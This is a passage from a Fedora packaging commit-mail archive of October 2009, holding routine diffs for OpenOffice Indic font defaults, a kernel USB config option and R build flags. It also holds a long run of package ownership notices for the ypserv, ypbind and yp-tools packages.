++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
++    <node oor:name="mr-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
+     <node oor:name="or-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+@@ -925,6 +1045,26 @@
+         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+       </prop>
+     </node>
++    <node oor:name="te-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
+ 
+     <node oor:name="ak-GH" oor:op="replace">
+ 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">
+@@ -1022,6 +1162,26 @@
+     </node>
+     <node oor:name="rw" oor:op="replace">
+     </node>
++    <node oor:name="si" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
+   </node>
+   <node oor:name="FontSubstitutions">
+     <node oor:name="en" oor:op="replace">


--- openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch DELETED ---


--- openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch DELETED ---



From cebbert at fedoraproject.org  Thu Oct 15 08:28:27 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu, 15 Oct 2009 08:28:27 +0000 (UTC)
Subject: rpms/kernel/F-11 config-generic, 1.293, 1.294 kernel.spec, 1.1763, 
	1.1764
Message-ID: <20091015082827.D24E211C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18239

Modified Files:
	config-generic kernel.spec 
Log Message:
Disable CONFIG_USB_STORAGE_CYPRESS_ATACB because it causes failure
  to boot from USB disks using Cypress bridges (#524998)


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/config-generic,v
retrieving revision 1.293
retrieving revision 1.294
diff -u -p -r1.293 -r1.294
--- config-generic	7 Oct 2009 17:31:02 -0000	1.293
+++ config-generic	15 Oct 2009 08:28:27 -0000	1.294
@@ -2696,7 +2696,7 @@ CONFIG_USB_TMC=m
 # CONFIG_BLK_DEV_UB is not set
 CONFIG_USB_STORAGE=m
 # CONFIG_USB_STORAGE_DEBUG is not set
-CONFIG_USB_STORAGE_CYPRESS_ATACB=y
+# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
 CONFIG_USB_STORAGE_DATAFAB=y
 CONFIG_USB_STORAGE_FREECOM=y
 CONFIG_USB_STORAGE_ISD200=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1763
retrieving revision 1.1764
diff -u -p -r1.1763 -r1.1764
--- kernel.spec	13 Oct 2009 12:52:02 -0000	1.1763
+++ kernel.spec	15 Oct 2009 08:28:27 -0000	1.1764
@@ -2085,6 +2085,10 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 15 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-85
+- Disable CONFIG_USB_STORAGE_CYPRESS_ATACB because it causes failure
+  to boot from USB disks using Cypress bridges (#524998)
+
 * Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-84
 - Copy libata drive detection fix from 2.6.31.4 (#524756)
 



From karsten at fedoraproject.org  Thu Oct 15 08:59:01 2009
From: karsten at fedoraproject.org (Karsten Hopp)
Date: Thu, 15 Oct 2009 08:59:01 +0000 (UTC)
Subject: rpms/R/devel R.spec,1.65,1.66
Message-ID: <20091015085901.7B83911C00DB@cvs1.fedora.phx.redhat.com>

Author: karsten

Update of /cvs/extras/rpms/R/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27507

Modified Files:
	R.spec 
Log Message:
- s390 (not s390x) needs the -m31 compiler flag




Index: R.spec
===================================================================
RCS file: /cvs/extras/rpms/R/devel/R.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- R.spec	24 Aug 2009 19:39:58 -0000	1.65
+++ R.spec	15 Oct 2009 08:59:00 -0000	1.66
@@ -6,7 +6,7 @@
 
 Name: R
 Version: 2.9.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: A language for data analysis and graphics
 URL: http://www.r-project.org
 Source0: ftp://cran.r-project.org/pub/R/src/base/R-2/R-%{version}.tar.gz
@@ -208,6 +208,12 @@ case "%{_target_cpu}" in
           export F77="gfortran"
           export FC="gfortran"
       ;;
+      s390)
+          export CC="gcc -m31"
+          export CXX="g++ -m31"
+          export F77="gfortran -m31"
+          export FC="gfortran -m31"
+      ;;    
       *)
           export CC="gcc -m32"
           export CXX="g++ -m32"
@@ -996,6 +1002,9 @@ R CMD javareconf \
 %postun -n libRmath -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 15 2009 Karsten Hopp <karsten at redhat.com> 2.9.2-2
+- s390 (not s390x) needs the -m31 compiler flag
+
 * Mon Aug 24 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.9.2-1
 - Update to 2.9.2
 



From caolanm at fedoraproject.org  Thu Oct 15 09:03:01 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 09:03:01 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.vcl106.patch,1.1,1.2
Message-ID: <20091015090301.ABADE11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28750

Modified Files:
	workspace.vcl106.patch 
Log Message:
fix offset

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  160 +++++++++++++++++++++++++
 psprint/source/fontsubset/gsub.cxx             |   10 +
 unx/gtk/a11y/atkutil.cxx                       |   13 +-
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 +
 4 files changed, 187 insertions(+), 7 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/workspace.vcl106.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- workspace.vcl106.patch	15 Oct 2009 08:10:04 -0000	1.1
+++ workspace.vcl106.patch	15 Oct 2009 09:03:01 -0000	1.2
@@ -1,6 +1,6 @@
 --- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
 +++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
-@@ -221,7 +221,7 @@
+@@ -190,7 +190,7 @@
                  if( accessibility::AccessibleStateType::FOCUSED == nState )
                      atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
              }
@@ -9,7 +9,7 @@
              {
                  g_warning("Focused object has invalid index in parent");
              }
-@@ -577,7 +577,14 @@
+@@ -546,7 +546,14 @@
          if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
          {
              g_aWindowList.insert(pWindow);
@@ -25,10 +25,10 @@
          }
  #ifdef ENABLE_TRACING
          else
-@@ -608,7 +615,7 @@
+@@ -577,7 +584,7 @@
              }
          }
-     }
+     } 
 -    catch( uno::Exception e )
 +    catch( const uno::Exception &e )
      {



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:40 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090840.350EE10F85A@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora devel was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:43 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090843.3711310F87F@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 7 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:45 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090845.525D010F85A@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 8 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:48 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090848.CBB2D10F85F@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 9 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:51 +0000
Subject: [pkgdb] ypserv: kklic has requested watchbugzilla
Message-ID: <20091015090851.1575510F889@bastion2.fedora.phx.redhat.com>

kklic has requested the watchbugzilla acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:50 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090850.EB7E410F87F@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 10 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:52 +0000
Subject: [pkgdb] ypserv: kklic has requested watchcommits
Message-ID: <20091015090852.D0AB110F85F@bastion2.fedora.phx.redhat.com>

kklic has requested the watchcommits acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:53 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090853.3271410F8A3@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 11 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:54 +0000
Subject: [pkgdb] ypserv: kklic has requested commit
Message-ID: <20091015090854.15D3410F8A8@bastion2.fedora.phx.redhat.com>

kklic has requested the commit acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:55 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090855.2EE4C10F8AB@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 12 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:08:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:08:55 +0000
Subject: [pkgdb] ypserv: kklic has requested approveacls
Message-ID: <20091015090855.9FA2910F8AD@bastion2.fedora.phx.redhat.com>

kklic has requested the approveacls acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:16 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090916.A29EB10F85A@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora devel was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:18 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090918.BB01F10F87F@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 7 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:21 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090921.84DF810F889@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 8 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:21 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090921.D27C710F8A3@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora devel is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:23 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090923.50E3A10F8A8@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 9 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:25 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090925.3E6EF10F87F@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 10 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:27 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090927.582D110F85A@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 11 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:29 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015090929.4FE7910F8AB@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 12 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:34 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090934.488DC10F889@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 10 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:37 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090937.CB9EF10F87F@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 11 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:40 +0000
Subject: [pkgdb] ypserv ownership updated
Message-ID: <20091015090940.9704910F88B@bastion2.fedora.phx.redhat.com>

Package ypserv in Fedora 12 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:46 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090946.74B8310F85F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora devel was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:47 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090947.576A010F87F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 7 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:48 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090948.8415310F889@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 8 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:50 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090950.9C69610F85F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 9 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:51 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090951.9C6C610F87F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 10 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:53 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090953.8D42910F8A4@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 11 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:09:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:09:55 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015090955.B425D10F85F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 12 was orphaned by vcrhonek

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:15 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015091015.C196110F85F@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora devel is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:22 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015091022.B465510F8B3@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 10 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:30 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015091030.6170910F8B7@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 12 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:26 +0000
Subject: [pkgdb] ypbind ownership updated
Message-ID: <20091015091026.9DAE310F8B5@bastion2.fedora.phx.redhat.com>

Package ypbind in Fedora 11 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/ypbind



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:49 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015091049.C306410F8A4@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora devel is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:55 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015091056.8015C10F8AF@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 10 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:10:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:10:59 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015091059.F0DC110F87F@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 11 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:11:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:11:02 +0000
Subject: [pkgdb] yp-tools ownership updated
Message-ID: <20091015091102.D469210F8AD@bastion2.fedora.phx.redhat.com>

Package yp-tools in Fedora 12 is now owned by kklic

To make changes to this package see:
  /pkgdb/packages/name/yp-tools



From pkgdb at fedoraproject.org  Thu Oct 15 09:11:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:11:31 +0000
Subject: [pkgdb] ypserv: kklic has given up watchbugzilla
Message-ID: <20091015091131.CD23410F85A@bastion2.fedora.phx.redhat.com>

kklic has given up the watchbugzilla acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:11:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:11:34 +0000
Subject: [pkgdb] ypserv: kklic has given up commit
Message-ID: <20091015091134.C3F2710F889@bastion2.fedora.phx.redhat.com>

kklic has given up the commit acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:11:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:11:33 +0000
Subject: [pkgdb] ypserv: kklic has given up watchcommits
Message-ID: <20091015091133.34CBC10F87F@bastion2.fedora.phx.redhat.com>

kklic has given up the watchcommits acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From pkgdb at fedoraproject.org  Thu Oct 15 09:11:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 09:11:36 +0000
Subject: [pkgdb] ypserv: kklic has given up approveacls
Message-ID: <20091015091136.05C3F10F85A@bastion2.fedora.phx.redhat.com>

kklic has given up the approveacls acl on ypserv (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ypserv



From alexlan at fedoraproject.org  Thu Oct 15 09:45:39 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Thu, 15 Oct 2009 09:45:39 +0000 (UTC)
Subject: rpms/python-biopython/devel .cvsignore, 1.8,
	1.9 python-biopython.spec, 1.17, 1.18 sources, 1.8, 1.9
Message-ID: <20091015094539.5C10011C00DB@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/extras/rpms/python-biopython/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8414

Modified Files:
	.cvsignore python-biopython.spec sources 
Log Message:
- Update to latest upstream (1.52)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-biopython/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
